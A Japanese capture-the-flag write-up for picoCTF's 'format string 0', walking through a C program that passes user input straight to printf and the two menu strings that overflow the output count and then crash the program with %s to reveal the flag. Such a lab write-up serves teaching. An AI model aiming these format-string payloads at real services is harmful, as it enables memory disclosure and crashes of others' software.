【picoCTF】format string 0 - フォーマット文字列脆弱性で任意メモリを読み出す

問題概要

picoCTFの「format string 0」という問題の解説記事です。

• カテゴリ: Binary Exploitation
• 難易度: Easy

問題文

解説

ステップ1: ソースコードを読んで全体像を掴む

特に注目すべきなのが、次の部分です。

char flag[FLAGSIZE];

void sigsegv_handler(int sig) {
  printf("\n%s\n", flag);
  fflush(stdout);
  exit(1);
}

• クラッシュさせれば勝ち

という設計です。

ステップ2: どこが脆弱か

次に、入力箇所を追います。

Patrick の注文（1人目）

char choice1[BUFSIZE];
scanf("%s", choice1);
...
int count = printf(choice1);

printf("%s", choice1); // 安全な書き方

次にメニューを見ます。

char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};

• %114d = 「整数を幅114で出力」

という命令になります。

if (count > 2 * BUFSIZE) {
            serve_bob();
        } else {
            printf("%s\n%s\n",
                    "Patrick is still hungry!",
                    "Try to serve him something of larger size!");
            fflush(stdout);
        }
}

Bob の注文（2人目）

char choice2[BUFSIZE];
scanf("%s", choice2);
...
printf(choice2);

char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};

• 次の引数をポインタとして取り出し
• そのポインタが指すアドレスに移動する
• そこから\0が出るまでメモリを読み続ける

Cla%sic_Che%s%steak を正しく使うなら、 printf は次のように呼ばれることを想定しています。

printf("Cla%sic_Che%s%steak", ptr1, ptr2, ptr3);

• 「次の引数（ポインタ）があるはず」と仮定して
• スタック上のゴミ値をポインタとして取り出し
• ポインタが指す先を読み取りに行きます。

ステップ3: 攻撃方針（2段階）

この問題の流れは次の2段階です。

1. Patrick の注文で、count > 2 * BUFSIZE を満たして Bob の注文に進む
2. Bob の注文で、printf を %s で暴走させて SIGSEGV を起こし、フラグを表示させる

3-1: Patrick を満腹にする（出力文字数を稼ぐ）

if (count > 2 * BUFSIZE) {
            serve_bob();
        } else {
            printf("%s\n%s\n",
                    "Patrick is still hungry!",
                    "Try to serve him something of larger size!");
            fflush(stdout);
        }
}

• 整数を幅114で出力（足りない分は空白でパディング）

という意味です。

そのため、Patrick への入力はこれでOKです。

Gr%114d_Cheese

3-2: Bob の注文で店を破壊する（%s でセグメンテーションフォルトを狙う）

Cla%sic_Che%s%steak

ステップ4: 攻撃の実行

$ nc mimas.picoctf.net xxxxx

(実際のポート番号は問題ページを参照してください)

接続後、1回目（Patrick）でこれを入力：

Enter your recommendation: Gr%114d_Cheese

続けて2回目（Bob）でこれを入力：

Enter your recommendation: Cla%sic_Che%s%steak

うまくいくとクラッシュして、フラグが表示されます。

picoCTF{xxxxx}

※フラグはマスクしています。

まとめ

▼ポイントは以下の通りです。

• printf にユーザー入力をそのまま渡すのは危険
• %114d で「出力文字数」を稼いで次のステージへ進められる
• %s を含む文字列で printf を暴走させ、セグメンテーションフォールト → フラグ表示

閲覧ありがとうございました！